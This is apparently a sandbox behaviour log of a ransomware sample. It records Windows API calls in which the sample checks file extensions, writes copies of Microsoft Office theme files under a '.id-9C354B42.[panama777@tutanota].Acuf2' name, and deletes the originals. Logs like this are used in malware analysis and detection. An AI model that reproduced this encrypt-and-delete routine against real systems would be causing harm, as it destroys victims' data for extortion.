	[0256.226] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0256.226] lstrlenW (lpString=".docx") returned 5
	[0256.226] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0256.226] lstrlenW (lpString=".pdf") returned 4
	[0256.226] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0256.226] lstrlenW (lpString=".xls") returned 4
	[0256.226] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0256.226] lstrlenW (lpString=".xlsx") returned 5
	[0256.226] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0256.226] lstrlenW (lpString=".ppt") returned 4
	[0256.226] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0256.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.226] lstrlenW (lpString=".zip") returned 4
	[0256.226] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0256.226] lstrlenW (lpString=".rar") returned 4
	[0256.226] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0256.226] lstrlenW (lpString=".bz2") returned 4
	[0256.226] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0256.226] lstrlenW (lpString=".7z") returned 3
	[0256.226] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0256.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.226] lstrlenW (lpString=".dbf") returned 4
	[0256.226] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0256.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.226] lstrlenW (lpString=".1cd") returned 4
	[0256.226] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0256.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.226] lstrlenW (lpString=".jpg") returned 4
	[0256.226] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0256.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.227] lstrlenW (lpString=".doc") returned 4
	[0256.227] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0256.227] lstrlenW (lpString=".docx") returned 5
	[0256.227] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0256.227] lstrlenW (lpString=".pdf") returned 4
	[0256.227] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0256.227] lstrlenW (lpString=".xls") returned 4
	[0256.227] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0256.227] lstrlenW (lpString=".xlsx") returned 5
	[0256.227] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0256.227] lstrlenW (lpString=".ppt") returned 4
	[0256.227] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0256.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.227] lstrlenW (lpString=".zip") returned 4
	[0256.227] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0256.227] lstrlenW (lpString=".rar") returned 4
	[0256.227] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0256.227] lstrlenW (lpString=".bz2") returned 4
	[0256.227] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0256.227] lstrlenW (lpString=".7z") returned 3
	[0256.227] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0256.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.227] lstrlenW (lpString=".dbf") returned 4
	[0256.227] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0256.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.227] lstrlenW (lpString=".1cd") returned 4
	[0256.227] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0256.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.227] lstrlenW (lpString=".jpg") returned 4
	[0256.227] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0256.228] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.228] lstrlenW (lpString="Adjacency.eftx") returned 14
	[0256.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.231] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=21089) returned 1
	[0256.231] CloseHandle (hObject=0x344) returned 1
	[0256.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20
	[0256.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.232] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.232] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0256.233] GetLastError () returned 0x0
	[0256.233] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x5261, lpOverlapped=0x0) returned 1
	[0256.236] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x5270, lpOverlapped=0x0) returned 1
	[0256.237] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.237] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0256.237] SetEndOfFile (hFile=0x29c) returned 1
	[0256.237] CloseHandle (hObject=0x29c) returned 1
	[0256.237] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.237] SetEndOfFile (hFile=0x344) returned 1
	[0256.240] CloseHandle (hObject=0x344) returned 1
	[0256.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 1
	[0256.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.240] lstrlenW (lpString=".doc") returned 4
	[0256.240] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.240] lstrlenW (lpString=".docx") returned 5
	[0256.240] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.240] lstrlenW (lpString=".pdf") returned 4
	[0256.240] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.240] lstrlenW (lpString=".xls") returned 4
	[0256.240] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.240] lstrlenW (lpString=".xlsx") returned 5
	[0256.240] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.240] lstrlenW (lpString=".ppt") returned 4
	[0256.240] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.241] lstrlenW (lpString=".zip") returned 4
	[0256.241] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString=".rar") returned 4
	[0256.241] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString=".bz2") returned 4
	[0256.241] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString=".7z") returned 3
	[0256.241] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.241] lstrlenW (lpString=".dbf") returned 4
	[0256.241] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.241] lstrlenW (lpString=".1cd") returned 4
	[0256.241] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.241] lstrlenW (lpString=".jpg") returned 4
	[0256.241] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.241] lstrlenW (lpString=".doc") returned 4
	[0256.241] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString=".docx") returned 5
	[0256.241] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.241] lstrlenW (lpString=".pdf") returned 4
	[0256.241] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString=".xls") returned 4
	[0256.241] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString=".xlsx") returned 5
	[0256.241] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.241] lstrlenW (lpString=".ppt") returned 4
	[0256.241] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.242] lstrlenW (lpString=".zip") returned 4
	[0256.242] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.242] lstrlenW (lpString=".rar") returned 4
	[0256.242] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.242] lstrlenW (lpString=".bz2") returned 4
	[0256.242] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.242] lstrlenW (lpString=".7z") returned 3
	[0256.242] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.242] lstrlenW (lpString=".dbf") returned 4
	[0256.242] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.242] lstrlenW (lpString=".1cd") returned 4
	[0256.242] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81
	[0256.242] lstrlenW (lpString=".jpg") returned 4
	[0256.242] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.242] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.242] lstrlenW (lpString="Angles.eftx") returned 11
	[0256.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.243] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=27365) returned 1
	[0256.243] CloseHandle (hObject=0x344) returned 1
	[0256.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20
	[0256.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.244] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.244] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0256.246] GetLastError () returned 0x0
	[0256.246] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x6ae5, lpOverlapped=0x0) returned 1
	[0256.248] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x6af0, lpOverlapped=0x0) returned 1
	[0256.250] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.250] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0256.250] SetEndOfFile (hFile=0x29c) returned 1
	[0256.250] CloseHandle (hObject=0x29c) returned 1
	[0256.250] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.250] SetEndOfFile (hFile=0x344) returned 1
	[0256.253] CloseHandle (hObject=0x344) returned 1
	[0256.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 1
	[0256.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.253] lstrlenW (lpString=".doc") returned 4
	[0256.253] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString=".docx") returned 5
	[0256.254] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.254] lstrlenW (lpString=".pdf") returned 4
	[0256.254] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString=".xls") returned 4
	[0256.254] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString=".xlsx") returned 5
	[0256.254] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.254] lstrlenW (lpString=".ppt") returned 4
	[0256.254] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.254] lstrlenW (lpString=".zip") returned 4
	[0256.254] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString=".rar") returned 4
	[0256.254] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString=".bz2") returned 4
	[0256.254] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString=".7z") returned 3
	[0256.254] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.254] lstrlenW (lpString=".dbf") returned 4
	[0256.254] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.254] lstrlenW (lpString=".1cd") returned 4
	[0256.254] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.254] lstrlenW (lpString=".jpg") returned 4
	[0256.254] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.255] lstrlenW (lpString=".doc") returned 4
	[0256.255] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.255] lstrlenW (lpString=".docx") returned 5
	[0256.255] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.255] lstrlenW (lpString=".pdf") returned 4
	[0256.255] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.255] lstrlenW (lpString=".xls") returned 4
	[0256.255] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.255] lstrlenW (lpString=".xlsx") returned 5
	[0256.255] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.255] lstrlenW (lpString=".ppt") returned 4
	[0256.255] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.255] lstrlenW (lpString=".zip") returned 4
	[0256.255] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.255] lstrlenW (lpString=".rar") returned 4
	[0256.255] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.255] lstrlenW (lpString=".bz2") returned 4
	[0256.255] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.255] lstrlenW (lpString=".7z") returned 3
	[0256.255] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.255] lstrlenW (lpString=".dbf") returned 4
	[0256.255] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.255] lstrlenW (lpString=".1cd") returned 4
	[0256.255] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78
	[0256.256] lstrlenW (lpString=".jpg") returned 4
	[0256.256] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.256] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.256] lstrlenW (lpString="Apex.eftx") returned 9
	[0256.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.259] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=218310) returned 1
	[0256.259] CloseHandle (hObject=0x344) returned 1
	[0256.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20
	[0256.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.259] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.259] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0256.260] GetLastError () returned 0x0
	[0256.260] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x354c6, lpOverlapped=0x0) returned 1
	[0256.681] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x354d0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x354d0, lpOverlapped=0x0) returned 1
	[0256.685] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.685] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0256.685] SetEndOfFile (hFile=0x29c) returned 1
	[0256.685] CloseHandle (hObject=0x29c) returned 1
	[0256.685] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.685] SetEndOfFile (hFile=0x344) returned 1
	[0256.692] CloseHandle (hObject=0x344) returned 1
	[0256.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 1
	[0256.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.693] lstrlenW (lpString=".doc") returned 4
	[0256.693] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.693] lstrlenW (lpString=".docx") returned 5
	[0256.693] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.693] lstrlenW (lpString=".pdf") returned 4
	[0256.693] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.693] lstrlenW (lpString=".xls") returned 4
	[0256.693] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.693] lstrlenW (lpString=".xlsx") returned 5
	[0256.693] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.693] lstrlenW (lpString=".ppt") returned 4
	[0256.693] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
